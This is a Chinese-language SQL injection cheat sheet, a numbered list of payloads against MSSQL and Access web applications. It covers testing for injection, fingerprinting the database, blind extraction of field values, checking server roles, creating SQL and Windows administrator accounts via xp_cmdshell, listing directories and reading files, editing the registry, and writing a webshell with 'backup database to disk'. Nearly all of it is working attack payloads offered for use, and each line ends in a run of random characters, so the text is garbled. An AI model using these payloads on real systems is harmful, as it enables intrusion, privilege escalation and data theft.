1.判断是否有注入;and 1=1 ;and 1=2 J|VDZ# c7
2.初步判断是否是mssql ;and user>0 +-|}<mq
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3.注入参数是字符'and [查询条件] and ''=' at1oxmy
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' U~dqxR"Q
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5.判断数据库系统 4JXJ0T ar
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;and (select count(*) from sysobjects)>0 mssql MPF({Pnx7
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;and (select count(*) from msysobjects)>0 access nGur2}>n
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 y.(m#&T
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 O3pd5&^g
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Dw
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9.(1)猜字段的ascii值(access) BgY|v
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 8?|W-rN
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(2)猜字段的ascii值(mssql) w4zp%`?D'
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 'R99m?"
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10.测试权限结构(mssql) Ds{bYK_y
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- w{]B)>! 1W
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- Ak$9\Sl
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- $-<yX<.
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- fG{3S:TQq
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- dF|R`Pa2ML
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 3_T'0x\FP
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;and 1=(select IS_MEMBER('db_owner'));-- Ec }9R3 m
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11.添加mssql和系统的帐户 n7zM;@{7
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;exec master.dbo.sp_addlogin username;-- = \K/ulZo
;exec master.dbo.sp_password null,username,password;-- |:u5R%
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- R@`xS<`L/
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;exec master.dbo.xp_cmdshell 'net user username password #G\-ftA &
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- >4HB~9dKU
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- j
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12.(1)遍历目录 Z+4Mo*#
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;create table dirs(paths varchar(100), id int) VP7LKfv
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;insert dirs exec master.dbo.xp_dirtree 'c:\' %f(4jQ0I
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;and (select top 1 paths from dirs)>0 e$mVA}>Ybp
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) W!TTfj
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(2)遍历目录 Ad-_=a%
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- s"8z q;)
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 )a+bH </'
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 +.$:ZzH#
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 !u`f?=s;
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 e0#{'_C
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13.mssql中的存储过程 a&`^M
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xp_regenumvalues 注册表根键, 子键 QEmktc1 7
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 TETfRnm
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xp_regread 根键,子键,键值名 dO-Zj#%7z8
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 9AD0|,g
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xp_regwrite 根键,子键, 值名, 值类型, 值 C ?\HB#41
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 U:$`M,762Z
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 R!rMrWX
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xp_regdeletevalue 根键,子键,值名 XW{cC`&
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 O[=W%2I!i
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 M@0S*[O{"
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14.mssql的backup创建webshell LBcqFvj{&
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use model ;[|+tO_
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create table cmd(str image); E/E|*6R
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insert into cmd(str) values (''); UG<<.1JL
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backup database model to disk='c:\l.asp'; pU u')y
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15.mssql内置函数 Qb:.WMj[q+
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;and (select @@version)>0 获得Windows的版本号 Rr\fw'
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa i2\CDYP
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;and (select user_name())>0 爆当前系统的连接用户 g#5t8w
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;and (select db_name())>0 得到当前连接的数据库 Ej`G(
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16.简洁的webshell D6EqJ,~
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use model D,s[{RW+q
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create table cmd(str image); QW%xwV?8
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insert into cmd(str) values (''); 6%T_;"hb
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backup database model to disk='g:\wwwtest\l.asp';